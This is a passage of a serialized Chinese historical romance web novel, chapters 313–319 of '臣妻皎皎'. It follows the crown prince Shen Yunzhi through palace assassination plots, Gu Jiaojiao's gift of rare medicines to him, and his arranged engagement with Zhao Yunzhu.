“殿下放心,苎儿若是入宫,只带一个婢女,不会有其他人,也自不会扰了宫中清静。” “大人言重,都是小节。” 他们二人又客套一番,首辅才离开东宫。 沈云祉依旧坐在桌前,低垂着眼眸,漆黑的眸子里蒙上一层冰霜,让人望而生畏。 “殿下竟同意了?” 双瑞还是有些意外,毕竟他知道,太子对那位赵千金可没什么好感。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十四章 去查吧 沈云祉将出入宫中的令牌给了首辅,这也意味着,日后宰辅一家便可随时随地出入皇宫。 “不给不行啊,首辅帮我稳住朝堂,亲自开口求恩典,又如何能不应下。” 沈云祉低沉着声音,俊朗的脸上没什么表情,至于赵蕴苎,他只字未提。 双瑞没有再说什么,只觉得他家公子如今成为了太子,好似比之前更加缺少自由。 沈云祉从未有片刻轻闲,朝政之事只是一部分,他还需要花费精力来应付那些有异心之人。 东宫里出现刺客。 又是一女子,但身手极佳,只可惜还未靠近沈云祉便被双剑斩于剑下。 沈云祉命人查探女子身份,却发现根本无迹可查,就连此女子姓甚名谁,出生于何地都查不出任何消息。 与此同时,大牢里的袁侍郎死了,牢里的管事给出的结果是畏罪自杀。 沈云祉让双瑞去查看,得出的结果也是一样。 还未审讯,并未确定死罪就一死了之,任谁都看出这死亡有问题,只是没有任何证据。 沈云祉也知这皇宫的水是深不可测,可若是他没有半分应对,只怕是会淹死在这座宫城。 他下令,彻查宫内一干人等,尤其是东宫,换了一批有问题的,但也留下一些。 “王福,你是东宫的总领太监,又是刺杀,又是下药,莫不是要等本太子命丧于此,你等着收尸吗?” 沈云祉斜靠软榻之上,半眯着眼,似是玩笑一般的说道。 王福可不敢当成玩笑,扑通一声跪在地上,连磕好几个响头。 “奴才不敢,奴才有罪,求太子给奴才一个机会,奴才定当彻查宫中下人。” 他似是发誓一般,毕竟他是见识过沈云的狠辣的,稍有不慎,他这人微言轻之人便脑袋搬家了。 “好,去查吧。” 沈云祉轻描淡写的说道。 王福愣住。 他就被这样轻而易举的放过了?这所谓的机会,真的就这样放到自己手中了? “怎么?还要我去扶你?” “奴才不敢,奴才这便去。” 沈云祉让王福去查,也是有原因的。 他在宫中可用的人并不多,双瑞双剑是跟着他入宫的,任何人都知道他们的身份,会多加提防,但王福不同。 王福在这宫里曾被人瞧不起,欺负,就算他现在在东宫领事,也没有几人会提防他,查探消息反倒容易一些。 夕阳西下。 沈云祉站在廊下,抬头望着天边,那一抹淡红色的云彩与这季节显得有些不符,但极为了唯美。 美好的事物,也总会让他想到那个女子。 “双瑞,明日出宫去趟第一楼,跟顾皎皎要些茶回来。” 他说话时,目光依旧望着远方。 “殿下,你是说,要?” 双瑞扯动了下嘴角,面露难色。 “是啊,不然你还想跟我要银子吗?” 沈云祉都没有回头,说的理所应当。 双瑞尴尬的笑了两声,还是应了下来,只是,他不知道他明日就这样过去,会不会被顾皎皎打出来。 翌日。 杜玉荣在临近午时时来到了第一楼。 他已然许久没有出现,这一次,他不像之前那般高调,只是随意找了一个伙计询问顾皎皎的去处。 伙计还未答,他便看到从门外进来的人。 二人四目相对,皆是一怔,随后相视而笑。 “杜大人怎么来了?” 顾皎皎上前两步,微微欠身,礼数周到。 “家母念及第一楼的糕点,我过来取些,顺便给姑娘送些东西。” 杜玉荣温和,一向冷淡的他,似也只有在面对顾皎皎时才会流露出温暖的笑容。 “大人楼上请吧,我让人去准备糕点。” 顾皎皎并不想要什么东西,与杜玉荣相处,平淡自然便好。 在楼上的雅间里,杜玉荣将自己带来的东西放在桌上。 “前几日偶然得了一张雪狐皮,想着你日日在外奔波,便做了一件斗蓬,用来御寒再合适不过了。” 这件斗蓬通体雪白,那风毛中顺滑明亮,只看着便让人心生欢喜。 只是,这于顾皎皎而言,自然是无功不受禄。 “大人的心意是好的,眼光也极佳,只是我……” “此斗蓬并无他意,只是觉得你需要,这颜色也配你,才拿过来,顾姑娘莫要多想。” 杜玉荣猜到她要说什么,便抢先一步打断了她。 顾皎皎淡淡的笑着,侧目看向那斗蓬,思索片刻才收下。 “多谢杜大人。” “我说了,是朋友之间的馈赠,无需言谢。” 朋友,这两字于他们之间还是显得有些尴尬。 “听闻近来朝中不稳,想必大人也是忙得很。” 顾皎皎转开话题,免得这个房间的气氛更让人无法待下去。 “是,太子初接手朝政事务,朝堂之上已然难以应对,却还要提防那些异心之人,只这几日,太子殿下便遭遇了两次刺杀,日后还不知会发生什么。” “刺杀?” 顾皎皎惊呼出声,花容失色,眼中不自觉流露出担忧。 她如此反应,将杜玉荣吓了一跳,看着她的目光也显得有些异样。 顾皎皎意识到自己的反应太过激烈,扯动嘴角,轻拂了下长发。 “我是被吓到了,不是说皇城是最为安全所在吗?宫墙深深,竟然还会出现刺客,着实意外。” 她的话倒是让杜玉荣的神色缓和了一些。 “也是,你没有经历过这样的事,突然听到,自然是会被吓到。” 杜玉荣笑里带着一些自责。 可是,她经历过。 那一次,沈云社拉着她在刺客之间周旋,那把长剑奔她而来时,沈云祉则用自己的身体挡了过去。 他救下的是她命,而从那一刻起,沈云祉胸前的那抹血迹便犹如盛开的玫瑰,在她心底挥之不去。 “也还好,不过,大人既然有了些许空闲,想来太子殿下也是无事。” 她恢复了刚刚的淡定,似是什么都没有发生过的样子。 “是,殿下运筹帷幄,没出什么事。” 杜玉荣并未将顾皎皎刚刚的异样放在心上。 正在此时,莺儿轻扣房门,在得到允许后进门。 “姑娘,双瑞来了。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十五章 丝毫没有头绪 双瑞,沈云祉的贴身侍卫,与双剑二人自幼跟着沈云祉,即使是上战场时,也是这二人跟随在侧。 顾皎皎皱了皱眉,杜玉荣却有些意外的开口。 “是太子殿下派他来的?可有要事?” 他的担忧无关风月,只觉得是与朝政之事有关。 莺儿微低着头,缓缓欠身。 “回大人,奴婢不知。” 双瑞是奉命而来,又怎会将来意随意说给人听。 杜玉荣还想问些什么,顾皎皎则在此时站起身。 “我会吩咐人将大人要的糕点包好,大人稍候就是,我还有事,就不陪大人了。” 她也不等杜玉荣再说什么,缓步走出门外。 双瑞就站在二楼的拐角处等待着,看到顾皎皎时,快步走了过来。 “打扰顾姑娘了。” 相比之前,他倒是客气了不少,想来是有人提点过。 “宫规森严,你如此过来,怕是有要事,不如进去说?” 顾皎皎一遍遍的在心底告诉自己,要与沈云祉远一些,也要与他身边的人远一些,可刚刚听到他被刺杀,却还是不能狠下心。 双瑞看了看周围,到底酒楼,人多眼杂,他站在这里怕也是会给顾皎皎带来麻烦,便同意了。 顾皎皎请双瑞坐下,双瑞却只是站在那里。 他到底是沈云祉身边的人,该守的规矩自然要守。 “殿下说,上次姑娘送的茶叶没有了,殿下极为喜欢,想问问姑娘是否还有剩余。” 双瑞的声音不大,从始至终都没有直视顾皎皎。 顾皎皎有些意外,还是让莺儿去包一些新茶。 “还有呢?” 顾皎皎歪着头,询问着,也等待着双瑞的‘要事’。 双瑞此时才抬起头,扯出一抹笑意,但却有些难看。 “没,没了。” “没了?什么没了?谁没了?” 顾皎皎不停的追问着,可她怎么都没有想到,是没有要事。 双瑞的脸色更为难看了。 “你是说,你特意出宫跑到我这里,就是为了一份茶?” 顾皎皎满眼的不可置信。 “不是属下,是,是太子殿下,而且,我没有带银子。” 双瑞一向爱跟顾皎皎主仆闹,今日却是难得的慌张,说话都语无伦次。 顾皎皎忍不住笑出声,起身走到双瑞面前,眼中的神色是无语。 “意思是,沈云祉来我这里要茶,却不准备给钱,纯要,是吗?” “顾姑娘,不可直呼殿下名讳。” “你还有闲心管这个?你们太子不知道所谓买卖是有买有卖吗?你们是想带着一张嘴就拿东西?” 顾皎皎忍不住翻了个白眼。 她早知道沈云祉是有无赖的本性的,却不想可以无赖到这个地步。 “顾姑娘,属下也只是奉命行事,这……这殿下怎么想的,我怎会知道?” 双瑞脸色涨红,他跟在沈云祉身边已久,也确实没有人像顾皎皎一样这般当面数落他。 “你能不知道?你们主仆三人好的都快穿一条裤子了,你能不知道?” 顾皎皎一向是稳重的,可是听到身处宫里的沈云祉还这样‘欺负’她,她便忍不住想说几句。 双瑞眨巴着一双无辜的大眼睛,可怜兮兮,未反驳,也看得出他是得了命令的,想必拿不到茶,他也是回不去了。 正在此时,莺儿带着两份新茶走了进来,紫檀木的盒子装着,看上去就珍贵无比。 只是双瑞欲上前拿时,却被顾皎皎拦了下,莺儿看到这情况,也立即后退两步,提防着双瑞。 顾皎皎转身又坐了下来,微昂着头,瞟向双瑞的目光里透着一丝高傲。 “想要茶也可,回答多几个问题。” “是,顾姑娘请问,属下必定知无不言。” 双瑞见有希望,双眼都在放光。 “听闻殿下遇到了刺杀,皇宫之中遇刺,想来凶手很好查到,可抓住了?” “不曾,都是一些死士,当场毙命,丝毫没有头绪。” “身处皇宫之中,无论是主子还是奴才,来历总归有迹可寻吧?” “正因为是皇宫里,人情事故,错综复杂,牵一发而动全身。” “除了刺杀,可还有其他?” “那可太多了,有人给殿下下毒,还有的人作伪证诬陷殿下,更有那胆大的,下药迷惑殿下,太多了。” 下药迷惑? 都说宫中的女子,哪怕是侍奉的下人,都个个如花似玉,沈云祉本就是血气方刚的年纪,有那么一两次被诱惑,应也是理所应当的吧? 顾皎皎微低下头,半晌都没有说话,似是在思索着什么。 双瑞突然意识到自己说错了话。 “姑娘放心,咱们殿下是最精明的了,他自是知道那些人都心术不正,绝没有跟那些女子发生什么,而且都已严惩了。” 他一脸认真,就差发誓了。 顾皎皎脸色微红,眼底闪过一抹羞涩。 “这是太子殿下的事,不必与我说,莺儿,你再去楼上将我那些药拿来。” 她马上转移了话题,心里想着,这双瑞该说的不该说的都说了,让她一时无所适从。 “姑娘,那些药……” 莺儿惊呼出声,不可思议的着着顾皎皎,眼中流露出来的是不舍。 “快去吧。” 顾皎皎没等她说完,便催促着。 双瑞大大咧咧,但刚刚这主仆二人的神色他都看在眼里,他看不懂,但想着回去后,定如实说给太子听,太子那样聪明,定是能懂的。 莺儿回来时,抱着一个大木盒子,看盒子上的雕花,想来是有些年头了,她将盒子轻放在桌上,还转头瞪了双瑞一眼。 双瑞一脸狐疑,正准备询问时,顾皎皎开口了。 “这里有金创药,也有内服调理的,还有几种则是应对迷药,醉酒等等,最为难得的便是这红蛛丸,无论出了何事,或许可保命。” 顾皎皎将盒子盖上,轻推到双瑞面前。 “你将这些和茶叶一起拿给殿下吧。” 双瑞立即应下,在顾皎皎的允许下,他才抱着那些东西离开。 杜玉荣从雅间出来时,正好看到双瑞带着东西离开,他猜到顾皎皎就在那个房间,想着去告别再行离开。 但他万万没想到,会听到里面的对话。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十六章 只觉得有趣 “姑娘,那些药是当年洪甫先生特意给你,任何地方都买不到,那可是保命的,你怎么就送出去了呢?” 即使是双瑞走了,莺儿也是一脸的不甘,那些药的药材极为名贵,抛开价格不谈,洪甫先生只做那个红蛛丸便用了三年,可见不易。 这些年,即使是安阳候府时,顾皎皎都不曾舍得拿出来,如今就这样的轻易的送人了。 “好了,如今我也用不到那些药,他在皇宫之中,屡次涉险,若是那些药能救人一命,也是福事。” 顾皎皎低垂着眼眸,说的轻松。 她舍得,不是因为她真的不在意那些药,而是送给的人是沈云祉。 “姑娘,你说过,你不会……” “莺儿,不要说了。” 顾皎皎打断了这丫头的话,冲她笑了笑,对于自己做的决定,她不曾有一分后悔。 莺儿见她主意已定,便也不再说什么,心里只觉得姑娘太傻。 她们主仆二人在屋内,并不知道,门口处一直有一个人影久久伫立。 洪甫先生用了三年时间所制的保命药,顾皎皎就这样送给了沈云祉。 还有那侍女没说完的话是什么意思? 难道说,顾皎皎一直对他敬而远之,是因为太子? 杜玉荣想着这些,艰难的挪动脚步,走下楼梯时,他身子不稳差点摔下去,好在一旁的伙计扶住了他。 “杜大人,您没事吧?” 伙计担忧的询问着。 杜玉荣回过神,微微点头。 “无事,多谢。” 他准备离开时,突然想到了什么,转头看向那伙计。 “对了,太子殿下最爱吃第一楼的点心,近来可否来买过?若是没买,我便带些入宫。” 他很认真。 那伙计却摇了摇头。 “殿下自入宫后,已然许久没来了,也未听说有人替殿下买糕点。” “好,那我知道了。” 杜玉荣转身,听到这个答案,他倒是安心不少。 他想,定是自己想多了。 顾皎皎是善良之人,又与太子是合作关系,担忧他在宫中遇险,也在所难免。 想着这些,杜玉荣的心情倒是好了许多,带着糕点离开了第一楼。 皇宫。 双瑞带着一大堆东西回来时,沈云祉正在与云南王下棋。 只看了一眼沈云祉的脸色,他便未说什么,将东西放在了内殿。 “近来朝堂不稳,幸得首辅大人帮助,这份心思,你该明白。” 云南王将一颗棋子落下,低沉着声音开口。 沈云祉则扬了扬嘴角。 “首辅大人不久前才从我这里拿走了令牌,父亲便又来说项,怕是你们之前就商量好的吧?” 他似是玩笑一般的说道。 云南王也是知道他的性子,只瞪了他一眼。 “我并不知令牌之事,近来听人议论才知晓,但无论有没有令牌的事,首辅在此时出手相帮,对你来说都大有助益。” 云南王语气郑重,说到底还是不放心。 他们父子二人入宫许久,这宫里的事是一件接着一件,朝堂之上若是再有差池,只怕是难以脱身。 若按照云南王的性子,他是不愿沈云祉当这个太子的,但显然沈云祉有自己的想法。 “父王莫要挂心,我心中有数。” 沈云祉与赵蕴苎的婚事本就是云南王与首辅定下的,这其中的深义他们自然清楚。 沈云祉虽年轻,却也自有他的城府,并不会意所用事。 云南王乏了,在这盘棋结束后,离开了这里。 沈云祉也在此时将双瑞叫了进来。 内殿里,沈云祉看着那些药,也听着双瑞说着第一楼里发生的事。 顾皎皎直呼他的名字,甚至说他与双瑞双剑同穿一条裤子等等,都没有让他生气,反而是觉得有趣。 很多人都觉得顾皎皎行事沉稳,性子冷淡,可沈云祉却知道,此女子的本性也只有在信任的人面前才会暴露出来。 “这些药是有些奇怪,顾姑娘的侍女像是很不情愿,又不舍得的样子,她本是想说什么的,但是顾姑娘没让她说,属下觉得这点很是蹊跷。” 提到那些药,双瑞还是一脸不解。 沈云祉曾在军中,与将士们同上战场,受伤是常有的事,所以战事平稳时,他也会带人去寻一些好的金创药,大多他都见过,但顾皎皎拿来的这些,却与平常的大不相同。 “对,顾姑娘特意提了这颗药丸,说是名为红蛛丸,紧急时刻可保性命。” 双瑞再次开口。 红蛛丸。 沈云祉也从未听过。 不管如何,他都知道,顾皎皎所送的这些药金贵无比。 “还有没有别的?” 在双瑞说这些的时候,沈云祉一个字都没有说,一直看着那些药,目光都未曾移开过,却在双瑞不开口时,又追问起来。 “没有了。” 双瑞想了想后才说道。 沈云祉这才转头看向他,目光如炬。 “没有了?只这些?她给这些东西,没讲什么条件?” 他似是不信的样子。 “没有,顾姑娘只说是赠予殿下。” 双瑞无比肯定。 赠予? 沈云祉挑了挑眉,自他与顾皎皎相识以来,他可是从未见过这姑娘做过赔本的买卖,竟就这样将这些名贵的药送给他了? 可若真的只是赠送,他又要以何种理由再去找她呢? “行了,你退下吧。” 沈云祉的眼底有一闪而过的烦躁,没有让人发现。 他很忙,忙于政务,也忙于对付那些有野心之人,他已然无法分出精力去探查顾皎皎的真实想法。 沈云祉将那些药收起,很是仔细,但转身之时,却看到双瑞又走了进来。 “殿下,我去第一楼的时候,看到了杜公子的马车,但在酒楼里却没有见到人。” 双瑞刚刚想到此事,本觉得不是什么重要的事,转念一想还是说与殿下的好。 沈云祉刚刚满是笑意的脸,在此时袭上了阴沉。 “你是说,杜玉荣去见了顾皎皎?” 他的声音都冷了几分。 双瑞摇头。 “属下并未亲眼所见。” 外界的那些传言传的极为难听,双剑送回来的消息是,杜玉荣已经许久未见顾皎皎,想着,他们大约是因为流言避嫌。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十七章 你看着办 沈云祉将自己关在书房里处理奏折,就连送茶水的王福都挡在外面。 “这门一关便是四五个时辰,眼看着天都黑了,你去劝劝殿下。” 双瑞转头看向双剑,小声的开口,也是担心沈云祉的身体。 双剑忍不住翻了个白眼。 “殿下的脾气你还不了解吗?你若是敢你去。” 他们谁都不敢,直到王福再次过来,在双瑞耳边小声的说了些什么。 双瑞双眼放光,转头看向双剑,一脸得意。 “我去就我去。” 双瑞走到门边,未敲门,而是直接开口。 “殿下,王福查到了一些消息。” 只这简短的一句,他并未再说其他。 里面依旧安静了许久,片刻后,沈云祉的声音才从里面传出。 “进来。” 这也是沈云祉这四五个时辰以后,说的第一句话。 双瑞双剑,以及王福一同跨进了书房。 沈云祉端坐在案几之上,手中红色的毛笔,依旧在折子上写着什么,他神色平静,那张俊朗的脸上,也看不出什么异样。 几人进门,他未抬头,也未开口说什么。 “殿下,这是奴才近来查到的一些人,其中有两个太监,有三名宫女都有问题。” 王福跪在地上,将手中的纸高举过头顶。 双瑞上前将那纸拿下,递给了沈云祉。 此时,沈云祉才将手中的笔放下,看着纸张上的名字,神色上未见意外之色。 “说下去。” 他低沉的声音响起。 “奴才无能,并未查到实证,但从这几人入宫的情况,以及他们的身世来看,或都与平,平王妃有关。” 王福到底只是一个奴才,所说的每一个字都是要负责的,何况此事牵扯的不少。 王福还说,这些人有的是孤儿,曾被平王妃接济过,有的则是被人欺侮,平王妃出手相助过,其中还有一个宫女曾被卖到了青楼,是平王妃将她赎了出来。 这些人的共同点,就是与平王妃多少有些关联,但王福查了许久,无论是入宫记录,还是他们在宫内的行事,都无法与平王妃联系到一起。 “你做的很好。” 沈云祉缓缓抬起头,看向王福,眉眼间袭上笑意。 其实,他这东宫里的人大多都是有问题的。 东宫初设,东宫里的侍奉的人以及与东宫来往密切的人,大多都是有背景的,毕竟在这皇城之中,知己知彼,是大家最熟悉的方法。 就像,首辅一直在帮助沈云祉,可并不影响他也在东宫安插了自己的人手。 至于王福所查的这些人,确实不易查,哪怕没有切实的证据,知道是谁的人,便可提防。 “殿下谬赞了,奴才能力有限,所查出的这些也只是尽力而为,也不知是不是还有藏的更深的人。” 王福跪在地上,头埋得很低,他可是记得太子曾说过,东宫出事,便会先拿他这个首领太监开刀。 “别人费尽心思做的事,你只这么短的时间能查到这些已然不易,只是此事我还需要斟酌,在我未处置之前,我不希望他人知晓。” 沈云祉是善于说这些阴晦的话的,确切的说,他喜欢聪明人。 “殿下放心,此事是奴才亲自办的,无人知晓,若无殿下命令,日后也不会有旁人知晓。” 王福便是那个聪明人。 沈云祉摆了摆手,王福起身退下。 “平王妃向来深居简出,即使是官中女子相聚,她也很少出现,却不想会为了平王做此等事。” 双瑞轻声感叹,也是无奈。 沈云祉便没有他这样的想法,他更了解人性。 “双剑,你那边如何?” 他抬眼,看向双剑。 “孙协兆还不算太蠢,他听了平王的话,要在宫外的那间药铺里下毒,他犹豫了几天,终究还是没有亲自动手,而是收买了一个人。” 双剑是奉命与孙协兆相交的,对于这个人,他也是厌恶至极。 “孙协兆没有亲自动手,那这招棋便没有用了。” 沈云祉低垂下眼眸,声音也瞬间冷了下来。 宫外的药铺只是他的一个诱饵,平王按捺不住,自会对他下手,如果孙协兆动手了,他也可以牵扯上平王,可若是别人的动手,到时便是一个理不清的官司,没准儿还会被平王反咬一口。 “罢了,将那铺子撤了吧。” 半晌,沈云祉才下令吩咐道。 “是,殿下,属下这便去安排,只是,就算不能定孙协兆的罪,也该给他一些教训。” 双剑向来少言,此刻出谋划策,也可见他对那孙协兆是有多厌恶。 沈去祉扬了扬嘴角,甚至没有问他想要做什么。 “你看着办。” 这主仆三人,若论阴险,双剑是有过之而无不及。 “殿下,那几个宫人呢?是否需要找个理由赶出去?” 双瑞看着那张纸,也是一副想要亲自动手的样子。 沈云祉捏着那张纸,移到蜡烛旁边,看着白色的纸张瞬间被点燃,他薄唇微扬,唇角处袭上一抹狡黠。 “我们的计划落空了,平王又亲手将机会给我们送来,又何必拒绝他的好意呢?” 那些人是要留着的,日后定有用处,就像首辅送来的人,他也一样留着。 宫墙深深,是许多人梦寐以求的地方,这里象征着权贵,也象征着高人一等,但这里的暗潮汹涌,也不是人人可以承受的。 皇上的身子越来越不好,沈云祉就算有圣旨,也一样是日日忙碌,应付各种各样的突发事件。 什么刺杀,下毒,栽赃等等,都需要他亲自处理,毕竟这太子的身份可是有不少人盯着的。 近半月的时间,他再也没有抽出多余的精力出宫。 直到赵蕴苎入宫。 首辅不只一次跟赵蕴苎说过这场联姻的重要性,赵蕴苎虽是不情愿,却也不得不照做。 赵蕴苎入宫是精心打扮过的,粉嫩的长裙,配着贵重的珠宝,高雅又不失清纯,精致的妆容,让人看不出浓重的痕迹,也算是精心妆扮过的。 她只能带一个婢女入宫,所以思荣一直跟在她的身后,替她拿着一个精致的食盒。 她们进入宫城,直奔东宫。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十八章 各取所需 赵蕴苎是首辅大人的孙女,一入宫门便有一顶软轿候着,她也并不推辞,直接上了轿子。 思荣跟在轿边,一边走着了,一边四处张望。 皇宫巍峨,宫墙深深,处处都给人一种神秘又威严的感觉。 “姑娘,我有些紧张。” 思荣低声说道。 她是第一次进入皇宫,握着那食盒的手都不断的收紧。 赵蕴苎掀开帘子向外看了看,却也只是看到那暗灰的宫墙,让她觉得压抑。 “有什么可紧张的,又不是让你入宫为妃。” 她的语气里透着无奈。 这是赵蕴苎第二次进宫,第一次来时,她尚且年幼,跟着祖父向先帝请安,也是那一次,她在皇宫里遇到了杜玉荣。 那时的杜玉荣还只是个不善言辞的男孩儿,清明的眸子让人觉得安心,那时的他也不会笑,却拉住了初次见面差点落水的赵蕴苎。 这么多年,赵蕴苎一直觉得他们是有缘的,那个少年清澈清冷的眸子一直印在她的心间。 赵蕴苎思索往事,一股忧伤涌上心头,轻轻将轿帘放下。 她倚靠在轿上,缓缓闭上双眼,将眼中欲涌出的泪水收了回去。 世家子女的婚事,有多少不是为了家族而定,赵蕴苎拥有着别人不得的荣耀,必然要做别人做不了的牺牲。 轿子停下。 赵蕴苎下来后,抬头望着这扇紧闭的大红门,在心底暗暗沉下一口气。 “去扣门。” 她没有紧张,也将所有的不甘都埋在心底。 思荣应着,上前两步,却不等她扣门,大门便缓缓打开。 “是赵姑娘吧?殿下正在正厅等着您呢,请随奴才来。” 开门的是王福,这东宫的首领太监,他亲自来开门也显示出对首辅府的重视。 赵蕴苎没有说话,只是微微点头,便跟着王福走了进去。 沈云祉得知赵蕴苎进宫,便做好安排,无论是否心甘情愿,终要礼数周全。 “臣女给殿下请安,殿下安好。” 赵蕴苎进来后便向端坐在正位的沈云祉行了个礼,她的脸上无惊无喜,似是再平常不过的事。 “赵姑娘不必多礼。” 沈云祉指了指一旁的坐位,又觉声开口。 “王福,堪茶。” “多谢殿下。” 赵蕴苎并未直接坐下,而是从思荣手中接过食盒,缓步走到沈云祉身侧,将食盒里的东西一样一样拿出来。 “听祖父说,殿下近来忙碌,食欲不佳,臣女便自己做了一些点心,还望殿下不要嫌弃。” 她低眉顺眼,与从前嚣张跋扈的样子,判若两人,可见是首辅大人的功劳。 “这是红枣糕,冬日里养胃是极好的,这是荷叶糕,荷叶取的是嫩荷叶,甜香清爽,也可祛火安神。” 除此之外,还有桂花糕,八宝甜酪等。 东西摆了许多,香味顿时充斥着整间屋子,可见赵蕴苎也是真心实意做的这些。 “姑娘心灵手巧,带了这许多吃食,有劳了。” 沈云祉看了一眼,却没有一样激起他的食欲。 赵蕴苎并不在意他的看法,转身坐了下来。 “臣女不擅餐食,幸而近来有教养嬷嬷教导,才敢拿出手,殿下莫嫌粗陋。” 她句句都是恭敬。 沈云祉打量着她,轻笑出声,随后摆了摆手。 屋里的下人全部退去,偌大的殿里,只留下他们二人。 “本宫与姑娘相识的时日也不算短,倒是难得见到你如此柔和的一面。” 沈云祉一开口便带着一丝挑衅的意味,漆黑的眸子里闪烁着意味不明的光芒。 赵蕴苎不禁一怔,迎着沈云祉的目光,想从他的眼中看出些什么,却什么也没有。 她曾围着杜玉荣转,是全天下都知道的事,自然也是瞒不了沈云祉的。 “祖父说,后宫女子,自是要贤良大度的,蕴苎不才,却也不想丢赵家的脸面,想来殿下也是理解的。” 她声音轻柔,态度和善,这已然算是少有。 “赵姑娘玲珑剔透,倒是许多人都比不上的,只是在婚事未公布之前,姑娘也不必如此谨慎小心,说到底不过是各取所需罢了。” 沈云祉如谈公事一般严肃,冰冷,所说的似乎不是婚事,而更像是公事公办一样。 赵蕴苎自然是没想到他会这样说,他们彼此之间无情,不过是为了这场交易,他们的内心或许都有不甘,却也不得不从。 “太子殿下才是这世间最为通透之人,有了殿下这话,臣女便安心子,殿下放心,日后涉及宫城之事,臣女定会站在殿下身后。” 赵蕴苎的脸上终于袭上了一抹笑意。 她自幼便是拥有权贵之人,便对那人人向往的太子妃之位没什么兴趣,她心之所念,皆是杜玉荣罢了。 沈云祉未为难她,也不提那些过往,甚至不强迫她将心底的人挖出,于她而言便是最好的了,而她所言,也是因为沈云祉的话,她可代表首辅府,成为沈云祉的后盾。 沈云祉却在此时笑出声,随意的倚靠在椅子上。 “赵姑娘多虑了,本宫坐上这个位置,便不会凭借女眷,姑娘冰雪聪明,该知我意。” 他们二人的这处心思倒是相通。 赵蕴苎缓缓起身,欠身行了个礼。 “多谢殿下。” 这句感谢是发自内心的。 沈云祉笑了笑,冲门外喊来了人。 王福端着一个托盘走了进来,上面放着一套由金线穿宝石珠子制成的头面,精致无比,极为奢华。 “宫中新制的,我觉得与姑娘极为相配,便给你留下了。” 沈云祉说谎了,他只是让王福备下送给赵蕴苎的礼物,至于是什么东西,他并未吩咐,说起来,此时,他也是第一次见到这套头面,心里想着,王福办事还是周到的。 赵蕴苎自幼在首辅府长大,自也是见过不少奇珍异宝的,但像这头面如此奢华又极为漂亮的,确实也是第一次见。 “殿下,这礼物是否贵重了些?” 赵蕴苎略显迟疑。 “你不要有压力,这虽是赐你的,但实际上也是赏赐首辅府的,毕竟首辅大人劳苦功高。” 他这话说完,也让收下这东西的赵蕴苎安心不少。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十九章 人之常情 霓裳阁。 顾皎皎刚检查完这一批要送入丝织局的料子以及样衣款式,莺儿就从外面跑了进来。 她知道这丫头定是又得到了什么消息。 当初让莺儿负责与外面的人联系,是因为她可靠,可是这时间久了,顾皎皎却觉得这丫头心眼越来越小,有一点风吹草动便急的不行。 “怎么了?是徐青青又要来找麻烦,还是孙协兆又打听到了什么?” 顾皎皎开着玩笑,这么长时间以来,能让莺儿脸色如此难看的,也就只有安阳候府的人和事了。 不过,在顾皎皎话音落下时,却并未得到回答,她抬起头,正看到莺儿面露为难,一副不知如何开口的模样。 看样子,与安阳候府无关,还是大事。 顾皎皎没再追问,而是将莺儿拉到一个房间,只有她们二人。 “现下能说了吧?” 她还是了解莺儿这个丫头的,她说完,便坐下来给自己倒了杯茶。 莺儿站在顾皎皎身边,一双水汪汪的大眼睛里竟不自觉的袭上了一抹心疼。 “王吉传信,说是今日,赵蕴苎入宫了。” 莺儿话音落下之时,顾皎皎手中的杯子也随之落地,杯子应声而裂,碎片四下溅开。 赵蕴苎入宫了,那是不是也就意味着,用不了多久,他们的婚事便会公布出来。 哦不,不是公布,是召告天下。 沈云祉已然是储君,未来名正言顺的皇上,而这普天之下,所有的适龄女子中,论家世、相貌、才学,能与之相配的非赵蕴苎莫属。 “姑娘,你,你没事吧?” 莺儿低声开口,开始自责,后悔,她就想着,不应该将这件事说给她家姑娘听。 顾皎皎回过神,立即将脸上悲伤的神情收起,勉强的扯出一抹笑意。 “这也没什么,太子与赵家的亲事已定,只是未召告天下而已,赵姑娘偶有入宫,也是人之常情。” 人之常情,当这四个字说出来的时候,顾皎皎的心底涌起一股酸涩,她强撑着,想要再去倒一杯茶。 莺儿看着她发抖的手,心底的自责更重,立即上前接下她手里的杯子。 “姑娘,不要再将那人放在心上了。” 谈何容易。 “我知道,我没事,还有什么消息?” 顾皎皎的笑容还挂在脸上,但多少有些难看,只是她强撑着,自己并不知道而已。 莺儿知道她家姑娘心里苦,可这是命中注定。 姑娘心悦之人偏偏是当朝太子,只那层身份之隔,便足以让他们分道扬镳,何况,在莺儿看来,那沈云祉并非良人。 “赵姑娘离开皇宫时,带着一份赏赐,看不到是什么,但王吉偷听到赵姑娘与其侍女的谈话,确定是太子所赐。” 既然已经如此,那不如全都说了,也许可以让她家姑娘死心,快刀斩乱麻,长痛不如短痛的。 “应该的。” 顾皎皎低垂下眼眸。 赵蕴苎第一次入宫见太子,得到赏赐也好,沈云祉有心也罢,都是应该的。 “哦对了,听闻太子殿下来近来身体不好,赵蕴苎入宫是特意亲手做了吃食送进去的。” 莺儿又补了一句,也是这句让顾皎皎紧崩着的那根弦,彻底断裂。 一个是当朝太子,一个是首辅大人的孙女,互诉衷肠,礼尚往来,或许是门当户对,也可能是情谊。 顾皎皎半晌都没有说话,再次抬起头的时候,眼中已然袭上淡淡的笑意。 “告诉王吉,打探有关皇宫的消息要谨慎一些,若是没有要事,也不必冒险。” 她的语气平缓,淡淡的,看不出什么情绪。 莺儿皱了皱眉,到嘴边的话硬生生的咽回去。 皇宫。 王福进来收拾时,才发现那桌上的糕点未动,到底是赵家千金亲手制作,又亲自送进来宫来的,他一时不知该怎么处理。 “拿出去给他们分了吧。” 沈云祉站起身,甚至没有看一眼便大步走出了正厅。 王福倒是听话,将那些糕点都给东宫里的下人分了,双瑞和双剑也被分到了一些。 他们三人站在廊下,看着周围没人也吃了起来,味道一般,却也谁也没有说。 “殿下近来食欲不好,膳食也只是用一点,眼见着人就瘦了,这可如何是好?” 王福一边吃着,一边叹气的说道。 “我前两日将宫里的御厨换了,可好似还是不合殿下口味。” 双瑞也在一旁说道。 沈云祉忙碌,处在皇宫之中,又避免不了勾心斗角,跟在他身边的人都知道,他近来心情也是越来越不好了。 